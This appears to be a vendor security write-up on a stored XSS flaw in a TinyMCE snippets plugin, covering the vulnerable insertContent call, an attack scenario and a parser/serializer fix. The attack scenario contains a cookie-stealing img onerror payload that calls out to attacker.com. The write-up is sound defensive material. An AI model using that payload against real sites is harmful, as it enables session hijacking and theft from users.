Summary
The snippets plugin's Main.ts inserted raw, unsanitized snippet content directly into the TinyMCE editor via editor.insertContent(snippet.content), allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.
Introduction
The custom_plugins/snippets/src/main/ts/Main.ts file handles a common but powerful editor feature: letting users insert pre-defined "snippets" of rich content into a TinyMCE document with a single click. The plugin builds a menu of stored snippets and, on onAction, calls editor.insertContent(snippet.content) to drop that content straight into the document.
The problem is exactly what it sounds like — snippet.content is treated as trusted, editor-ready HTML, when in reality it's data pulled from a database that anyone with snippet-editing privileges (or a compromised editor account) can populate. There was no sanitization step between "content stored by a user" and "content injected into the live DOM of every other user's browser." That gap is a textbook stored Cross-Site Scripting (XSS) vulnerability, and it's exactly the kind of pattern that's easy to overlook in plugin code because it "just" calls a convenience method from the editor's own API.
The Vulnerability Explained
Here's the vulnerable code from Main.ts before the fix:
type: 'menuitem',
text: snippet.title,
onAction: () => {
editor.insertContent(snippet.content);
}
snippet.content comes from a stored snippet record — likely fetched from an API or database — and is passed unmodified into editor.insertContent(). TinyMCE's insertContent() inserts the given HTML string directly into the editor's content model, and ultimately into the page DOM. There is no allowlist, no stripping of <script> tags, and no neutralization of inline event handlers.
Attack scenario: Imagine an attacker with editor privileges (or an attacker who compromises a lower-trust editor account) creates a new snippet titled "Company Signature" with content like:
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
This gets saved to the snippets database like any legitimate snippet. Later, any other user — potentially an administrator with a higher-privileged session — opens the editor, clicks the "Company Signature" snippet from the menu, and the plugin calls editor.insertContent(snippet.content). The <img> tag is inserted into the DOM, the browser attempts to load src=x, fails, fires onerror, and the attacker's JavaScript executes in the victim's authenticated session — exfiltrating cookies, session tokens, or CSRF tokens, or performing actions on the victim's behalf.
Because snippets are shared, reusable content designed to be inserted by many users over time, this is a particularly effective stored XSS vector: one malicious snippet can compromise every user who ever clicks it, long after the attacker created it.
The Fix
The fix changes the single line responsible for insertion, adding a sanitization pass that leverages TinyMCE's own content model instead of trusting the raw string:
Before:
onAction: () => {
editor.insertContent(snippet.content);
}
After:
onAction: () => {
// Sanitize snippet content against the editor's schema before
// insertion to strip script tags/handlers and prevent stored XSS
// from snippets that may have been saved with malicious markup.
const sanitized = editor.serializer.serialize(editor.parser.parse(snippet.content));
editor.insertContent(sanitized);
}
This works because TinyMCE's parser builds an internal DOM-like node tree from the HTML string according to the editor's configured schema — the set of allowed elements, attributes, and event handlers. Elements and attributes that don't conform to that schema (such as <script> tags or onerror/onclick handlers not permitted by the schema) are dropped during parsing. The serializer then converts that sanitized node tree back into an HTML string, which is what actually gets passed to insertContent().
In effect, snippet.content is no longer inserted "as-is" — it's normalized through the same schema-aware pipeline TinyMCE uses internally for pasted and typed content, closing the gap between untrusted stored data and the live editor DOM. The change is scoped to a single call site in a single file, preserving the plugin's existing behavior (snippets still insert correctly) while removing the ability for malicious markup to execute.
Key Takeaways
editor.insertContent(snippet.content)inMain.ts:20-30treated database-stored snippet content as trusted HTML — it wasn't.- Snippets are inherently multi-user, reusable content, making stored XSS via snippets especially dangerous: one poisoned snippet can compromise many victims over time.
- The fix leverages TinyMCE's built-in
editor.parserandeditor.serializerto enforce the editor's schema before insertion — no custom sanitizer library was needed. - Any plugin or feature that inserts externally-sourced content into a rich text editor should route it through the same parse/serialize sanitization pattern shown here.
- Privilege separation matters too: limiting who can create/edit snippets reduces the attack surface, but sanitization at the insertion point is the actual technical control that stops exploitation.
How Orbis AppSec Detected This
- Source: Stored snippet content (
snippet.content), originating from the snippets database/API and populated by any user with snippet-editing privileges. - Sink:
editor.insertContent(snippet.content)incustom_plugins/snippets/src/main/ts/Main.ts:20, which injects HTML directly into the live TinyMCE editor DOM. - Missing control: No HTML sanitization or schema enforcement was applied to
snippet.contentbetween storage/retrieval and insertion into the editor. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
- Fix: Sanitize
snippet.contentviaeditor.serializer.serialize(editor.parser.parse(snippet.content))before callinginsertContent(), stripping non-schema-conforming markup such as script tags and inline event handlers.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that "internal" or "editorial" content sources aren't automatically safe content sources. A snippet library built for convenience became a stored XSS vector because raw HTML flowed straight from storage into editor.insertContent() with no sanitization in between. The fix is small — a single line replaced with a parse/serialize round-trip — but it closes a real gap: any user with snippet-editing access could otherwise have executed arbitrary JavaScript in the session of any colleague who clicked "insert." Treat every DOM-writing sink in editor plugins as a potential injection point, and sanitize accordingly, every time.